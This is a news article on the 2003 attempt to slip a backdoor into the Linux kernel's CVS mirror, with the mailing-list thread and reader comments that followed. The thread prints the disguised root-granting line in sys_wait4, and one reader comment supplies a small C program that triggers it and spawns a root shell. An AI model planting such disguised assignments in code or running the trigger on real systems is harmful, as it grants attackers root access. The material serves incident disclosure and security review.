login
Search
In a post earlier today to the Linux kernel mailing list, BitMover founder Larry McVoy [interview] commented, "Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked at the machine and it looked like someone may have been trying to break in and do it." The modified file was 'kernel/exit.c', modified directly on the CVS mirror of the 2.6-test development kernel tree [forum]. The CVS logs erroneously "credited" kernel hacker David Miller for the changes.
Examining the two lines of inserted code a little closer, it became quite apparent that this was a blatent attempt to insert a back door into the Linux kernel that could have been used to illegitimately become the 'root' superuser on a Linux server. Andreas Dilger pointed out that had the change gone undetected "it might have taken a good while to find".
Linux creator Linus Torvalds was quick to point out that the distributed design of BitKeeper helps to make it a fairly secure solution. In describing the reasons why, he said, "One of them is that if somebody were to actually access the BK trees directly, that would be noticed immediately: when I push to the places I export from, the push itself would fail due to having an unexpected changeset in the target that I don't have on my local tree." He went on to add, "I think it's telling that it was the CVS tree and not the BK tree that somebody tried to corrupt."
Larry then explained how the BitKeeper-to-CVS gateway is designed to prevent accidental or intentional modifications. He described a four step process that includes making an internal duplicate of the CVS tree and running a checksum on all modified files to compare and verify. He adds, "It's worth mentioning that it would be close to impossible to add the same change to BK unnoticed. It's possible but the accountability would be a lot better and the bad user could be tarred and feathered." He went on to suggest that a new feature of allowing one to sign changesets with GPG will be added soon, "so that you can at least be assured that all the stuff in BK is either flagged trusted or untrusted."
From: Larry McVoy [email blocked] To: linux-kernel Subject: BK2CVS problem Date: Wed, 5 Nov 2003 12:45:22 -0800 Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked at the machine and it looked like someone may have been trying to break in and do it. We've fixed the file in question, the conversion is done back here at BitMover and after we transfer the files we check them and make sure they are OK and this file got flagged. The CVS tree is fine, you might want to remove and update exit.c to make sure you have the current version in your tree however. The problem file is kernel/exit.c which has a few extra entries like so: revision 1.121 date: 2003/11/04 16:44:19; author: davem; state: Exp; lines: +58 -0 Oops, I worked on the the wrong file, fixed again. ---------------------------- revision 1.120 date: 2003/11/04 16:42:00; author: davem; state: Exp; lines: +0 -58 *** empty log message *** ---------------------------- revision 1.119 date: 2003/11/04 16:22:47; author: davem; state: Exp; lines: +2 -0 *** empty log message *** ---------------------------- revision 1.118 date: 2003/10/27 19:50:03; author: torvalds; state: Exp; lines: +11 -5 Fix ZOMBIE race with self-reaping threads. exit_notify() used to leave a window open when a thread died that made the thread visible as a ZOMBIE even though the thread reaped itself. This closes that window by marking the thread DEAD within the tasklist_lock. (Logical change 1.14141) ---------------------------- Notice how the top 3 do not have the (Logical change X.YZ) at the end? That is a pointer so you can figure out the changeset boundaries and it is added back here during the conversion process. The file here is fine which leads me to believe that someone modified the file either on kernel.bkbits.net or managed to get in through the pserver. Dave swears up and down that it wasn't him so if anyone can step forward and claim responsibility that would be nice. It's not a big deal, we catch stuff like this, but it's annoying to the CVS users. -- --- Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
From: Matthew Dharm [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 12:58:13 -0800 Out of curiosity, what were the changed lines? Matt -- Matthew Dharm Home: mdharm-usb@one-eyed-alien.net Maintainer, Linux USB Mass Storage Driver Oh great modem, why hast thou forsaken me? -- Dust Puppy User Friendly, 3/2/1998
From: Larry McVoy [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 14:23:02 -0800 On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote: > Out of curiosity, what were the changed lines? --- GOOD 2003-11-05 13:46:44.000000000 -0800 +++ BAD 2003-11-05 13:46:53.000000000 -0800 @@ -1111,6 +1111,8 @@ schedule(); goto repeat; } + if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING; -- --- Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
From: Zwane Mwaikambo [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 17:33:40 -0500 (EST) That looks odd
From: Andries Brouwer [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 23:51:34 +0100 Not if you hope to get root.
From: "Chad Kitching" [email blocked] Subject: RE: BK2CVS problem Date: Wed, 5 Nov 2003 16:48:09 -0600 From: Zwane Mwaikambo > > + if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) > > + retval = -EINVAL; > > That looks odd > Setting current->uid to zero when options __WCLONE and __WALL are set? The retval is dead code because of the next line, but it looks like an attempt to backdoor the kernel, does it not?
From: Larry McVoy [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 15:03:50 -0800 > Setting current->uid to zero when options __WCLONE and __WALL are set? The > retval is dead code because of the next line, but it looks like an attempt > to backdoor the kernel, does it not? It sure does. Note "current->uid = 0", not "current->uid == 0". Good eyes, I missed that. This function is sys_wait4() so by passing in __WCLONE|__WALL you are root. How nice. -- --- Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
From: Tomas Szepe [email blocked] Subject: Re: BK2CVS problem Date: Thu, 6 Nov 2003 01:52:24 +0100 On Nov-05 2003, Wed, 15:03 -0800 Larry McVoy [email blocked] wrote: Also note the extra parentheses to avoid a gcc warning. -- Tomas Szepe [email blocked]
From: Andreas Dilger [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 18:57:13 -0700 On Nov-05 2003, Wed, 15:03 -0800 Larry McVoy [email blocked] wrote: > It sure does. Note "current->uid = 0", not "current->uid == 0". > Good eyes, I missed that. This function is sys_wait4() so by passing in > __WCLONE|__WALL you are root. How nice. First of all, thanks Larry for detecting this. Your paranoia that made you add extra checks on the export of data (also evident in the BK checksums everywhere) probably saved Linux as a whole a lot of grief. Had something like this been submarined into the kernel without any review it might have taken a good while to find, even though it wasn't in the BK repository itself. Are the incremental kernel patches on kernel.org or anything else built from the BKCVS gateway? Granted that this was not a break in BK itself the event is still alarming. It makes me wonder if there is some way we can start using GPG signatures with BK itself so that you can get proof-positive that a CSET annotated as from davem really is from the David Miller we know and trust. Cheers, Andreas -- Andreas Dilger http://sourceforge.net/projects/ext2resize/ http://www-mddsp.enel.ucalgary.ca/People/adilger/
From: Linus Torvalds [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 18:20:31 -0800 (PST) On Wed, 5 Nov 2003, Andreas Dilger wrote: > > Granted that this was not a break in BK itself the event is still alarming. > It makes me wonder if there is some way we can start using GPG signatures > with BK itself so that you can get proof-positive that a CSET annotated > as from davem really is from the David Miller we know and trust. A few things do make the current system _fairly_ secure. One of them is that if somebody were to actually access the BK trees directly, that would be noticed immediately: when I push to the places I export from, the push itself would fail due to having an unexpected changeset in the target that I don't have on my local tree. So I'd notice that kind of stuff immediately. And that's likely to be true of all other BK users too: the public trees are just replicas of the trees people actually _work_ on, so if the public tree has something unexpected, trying to update them just won't work. You just can't push to a tree that isn't a subset of what you already have. So any BK corruption would have to come from the private trees, not the public ones. Which tend to be better secured, exactly because they are private (ie they don't have things like cvspserver etc public servers). I suspect most of us have firewalls that just don't accept any incoming connections - I know I do. I think it's telling that it was the CVS tree and not the BK tree that somebody tried to corrupt. Linus
From: Larry McVoy [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 19:01:25 -0800 On Wed, Nov 05, 2003 at 06:57:13PM -0700, Andreas Dilger wrote: > First of all, thanks Larry for detecting this. Your paranoia that made > you add extra checks on the export of data (also evident in the BK > checksums everywhere) probably saved Linux as a whole a lot of grief. Thanks for noticing that, it makes the extra work worth it, it really does. For those of you wondering what this is about, the way the export works is: a) get a BK tree on an internal BitMover machine b) export that to a CVS tree on an internal BitMover machine c) copy the updated files to kernel.bkbits.net's CVS tree d) checksum the tree on kernel.bkbits.net and here and compare them All of this is done out of cron with mail sent if there is a problem, which is what caught this difference. If we weren't trained to trust noone then this problem would have gone unnoticed and the CVS users could have sent in a patch that included this trojan horse and compromised Linux. It's worth mentioning that it would be close to impossible to add the same to change to BK unnoticed. It's possible but the accountability would be a lot better and the bad user could be tarred and feathered. > Had something like this been submarined into the kernel without any > review it might have taken a good while to find, even though it wasn't > in the BK repository itself. Are the incremental kernel patches on > kernel.org or anything else built from the BKCVS gateway? It's possible but I doubt it. I've verified 30 seconds ago that the change is not in in Linus' BK tree. We run these comparisons every night (and I'm going to increase that after we reinstall the machine). So I noticed this this morning and had the tree fixed this afternoon; I suppose people could complain that it should have been sooner but I was running tests to make sure it was not some problem in the BK2CVS exporter code. Even with the delay, the problem was identified and corrected in less than 24 hours. That doesn't leave a lot of time to have the problem get into the real release tree. > Granted that this was not a break in BK itself the event is still alarming. > It makes me wonder if there is some way we can start using GPG signatures > with BK itself so that you can get proof-positive that a CSET annotated > as from davem really is from the David Miller we know and trust. I couldn't agree more, we've thought about this and have a design, but credit where credit is due, Ted T'so is the driving force behind this idea. He and I have had long discussions about this and we have a plan to do exactly that in BK. I've already told Linus that we can add that to BK, and will, in the free version, so that you can at least be assured that all the stuff in BK is either flagged trusted or untrusted. We think that is an excellent idea, we want to do it, but we were waiting for some event to trigger it. We've been berated publicaly for each and every change we've made to the free version of BK so now we wait for people to ask for changes and then we'll make them. Just say the word and we'll code this up as soon as we can. -- --- Larry McVoy lm at bitmover.com http://www.bitmover.com/lm
Hello Microsoft?
(or any other rival)
naah
They won't bother with that. They have SCO to do the dirty work for them.
BK2CVS problem
Such a change would appear in the patch-2.6.0-test10 file and would be detected while reviewing the patch file.
reviewing?
Is there really a reviewing process for patches? I mean there are people regularly reading diff and verifying nothing goes 'Boink'?
Difficult to catch
Especially since its so easy to scan over current->uid = 0 and think that means current->uid == 0 without thinking about it.
-- Run.exe
But the extra parens weren't
But the extra parens weren't the normal kernel style and changes
like that often affect obscure semantics which meant Linus would
be more likely to carefully review it. And, as another person
pointed out, Linus doesn't use the CVS gateway at all so no
patches or tarballs would be created with that change.
The person who added the code was probably hoping that one of
the kernel developers who used CVS would accidently incorporate
the change into one of the patches they send to Linus.
Re: BK2CVS problem
No it wouldn't. Someone modified the CVS repository. The patches are generated directly from BK. The only way this code could have made it into the official kernel is if someone pulled code from the CVS repository and then unwittingly submitted the backdoor as part of a patch they submitted to the kernel.
John
== Sugestion
After reading this I did a quick grep of the linux tree. There are several cases in the tree that perform == against a value. In each case the variable is on the left side of the comparison.
Why are we (read: the collective community) not putting the variable on the right side?
I am sorry if this is a stupid suggestion, but it seems to me 1) it would be an easy thing to check for and 2) if someone oopses and forgets an "=" and error would be generated.
Blame our math teachers
It's far more ideomatic for most people to write "x equals 3" than "3 equals x". Every math teacher I've had writes it the former way.
GCC warns about "assignment used as truth value". You need extra parentheses to get rid of the warning.
Imagine you want to test an e
Imagine you want to test an equality and you type a single = instead of the correct '==' :
if (3=a) {
will produce an error at compile time where
if (a=3)
will compile but of course bug...
whats the gurantee that its first attempt of backdooring
Whats is the gurantee that this is the first event of back-door in kernel and we have never missed such event in the past and that code is not circulating ?
no Guarantees in risk management
A guarantee is a difficult concept to buy in software, and in other matters of delegated trust. Rather than worry needlessly over the lack of guarantees, which are difficult to verify in any case, you need to accept the tasks associated with appropriate management of the risks at hand.
Clearly, this incident shows up a competent system of checks and balances that resulted in an almost immediate thwarting of the compromise attempt.
If you feel at risk, then you should probably review the development processes carefully, and if you are a giant paranoid corporation, hire a team of programmers to follow the trees, and spot check through all code that you consider business critical.
Realistically, there are agencies that want to have a back door, and the agreement between Lotus, and the NSA a few years back, weakening international encryption, illustrate the interests of some parties. So there is definitely risk.
If your task is to protect national security, and a Linux version is an important component of your work, then you will likely be able to muster the $'s to do a lot of oversight. If you are a health-care software developer, then you may not have the discretionary dollars to be as thorough, but you can still accomplish a lot by simply being conservative, cautious, and attentive to security updates. Regular security updates in a Debian "Stable" environment offer a lot of confidence, and a lot of eyes of other professionals, who stand to lose their reputations - and it's GNU based, and still free.
However you delegate the trust level you require for your application, you need to establish a plan, and adopt a set of policies that will set out the resources and delegations of trust, so that you may understand what and who you are prepared to trust, and what you are prepared to expend to maintain the trust relationships. This is a management issue, in the area of "risk management".
There are few true guarantees in life. For the most part we all just have to manage our risks.
I want to hear more about the breakin from Larry..
So, the box was cracked in some way. We don't have any details about it yet. Supposedly CVS remote pservers are a security nightmare (whats the deal here? Even on anonymous-only mode?). I want to know if there's some exploit floating around out there that will make my pserver remotely vulnerable. Larry, we need details!
Re: more details
Hi, I'm Larry McVoy and I'm sorry I didn't notice this thread before.
Things, as you might imagine, have been busy. This event has been picked up by the press and the phone has been ringing off the hook. I've done what I can to downplay it, it was clear that some of the reporters were looking for some way to say that Linux doesn't have enough checks and balances in place. So far, none of those reporters have published anything so maybe it worked. I think Linux is just fine.
As to details, there aren't any, or at least very few. I got nervous and after Linus and DaveM had poked around enough I shut down the machine. I didn't want it up because I figured that whoever it was would be trying to cover their tracks. Linus & Dave have tracked down the machine from which the break in happened, it was a University, that University has been contacted, is cooperating, and has discovered that a number of their machines have rootkits installed. So they are working backwards to try and track down where those breakins came from. It remains to be seen if they are successful.
I'd like to make a few comments about this whole episode. I, like you, am slightly overwhelmed at the attention being focussed on this. As far as I am concerned, the system worked. We work with the kernel developers, we help each other and look out for each other, and this is just a little bump in the road that has been smoothed out. The fact that the journalists are all in a tizzy about it is, well, weird from an engineering perspective. These things happen. It's our job as engineers to deal with it, we did, that should be the end of the story.
I asked Linus about this and as far as he knows this is the first attempt at a malicious attempt to install a back door in Linux. That's pretty remarkable, Dave commented that it was probably because people know that Linus reads every line of code that goes into the kernel and I tend to agree (and we are working on tools to help him read stuff faster, we're pretty convinced we can help). If it is the first that does make it news. Again, it just doesn't seem like that big of a deal to me, it's like having a press release about fixing a bug. The kernel developers fix hundreds of bugs every week so this shouldn't be that big of a deal.
Because it seems to be a big deal and because we just hired a marketing person, we're doing a press release about this (our first in our 6 year history, how about that?). I'm trying to tone it down, the first pass made me want to either laugh or puke, but then I'm not marketing, in fact, many people would say I'm the opposite of marketing. Whatever, when/if you read the press release just remember I didn't write it, OK?
Hmm poor attempt but this brings up a point.
Lets see if we can make it harder we are getting buffer overflow detection software we now need user setting locations detector in side the linux kernel development kit. Yep this process was setting a user id without cause we will detect this alot faster.
I think this is verry Important feature we need. Basicly functions with out cause should not be anywhere near the user id.
noone
Another simple thing you can do to make this kind of stuff harder is flag uid as "const". This way you have to typecast to modify the value.
yeah, real hard..
I hope that was a joke.
Not sure
Well casting a const into non-const is quite obvious, so this kind of "stealth assignement" would be impossible.
Now I'm not the one who suggested this and my C is a little old, I'm not sure it is even possible in C (in C++ I think it is).
Shouldn't be too hard to check
Interestingly, the 2.6.0-test9 kernel has only 36 lines in which UID is set to zero. Shouldn't be too hard to check for contributions from hidden friends.
It might have been Larry
Cite:
From: Andreas Dilger [email blocked]
Subject: Re: BK2CVS problem
Date: Wed, 5 Nov 2003 18:57:13 -0700
On Nov-05 2003, Wed, 15:03 -0800
Larry McVoy [email blocked] wrote:
> It sure does. Note "current->uid = 0", not "current->uid == 0".
> Good eyes, I missed that. This function is sys_wait4() so by passing in
> __WCLONE|__WALL you are root. How nice.
First of all, thanks Larry for detecting this. Your paranoia that made
you add extra checks on the export of data (also evident in the BK
checksums everywhere) probably saved Linux as a whole a lot of grief.
----
Maybe this is what he wants. I still recall the discussion when
this bitkeeper thingie started.
Just a random BSD user.
Your song was written by The Kinks
Here
Glad we switched to BitKeepper..
I wonder if this thing got noticed without BitKeeper?
Anonymous hack
This thing wouldn't happen with the old system of manual patching because Linus knew where every patch came from and only went in if he personally put it in. There was no public repository that anyone else can write to. However it does show that it was safer than the other public repository alternatives (it was cvs that got hacked).
Re: BK2CVS problem
This simply code would have given UID 0 to everyone :
/* headers need to be rewritten (due to tags) */ #include sys/types.h #include sys/time.h #include sys/resource.h #include sys/wait.h #include stdio.h #define __WALL 0x40000000 #define __WCLONE 0x80000000 int main() { pid_t tmp; tmp=fork(); wait4(tmp,NULL,__WALL|__WCLONE,NULL); /* Send the malicious options with wait4 to gain ID 0*/ system("/bin/bash"); return -1; }Pierre BETOUIN
soulrider _at_ ifrance _dot_ com
Whow, impressive ! A such cod
Whow, impressive ! A such code (backdoor) is nearly impossible to detect in such a huge project as the Linux Kernel and the exploit is also so stealth...
why
you people are sad why the hell do you this why
security by obsucurity is NOT
security by obsucurity is NOT the solution, sorry : you're wrong.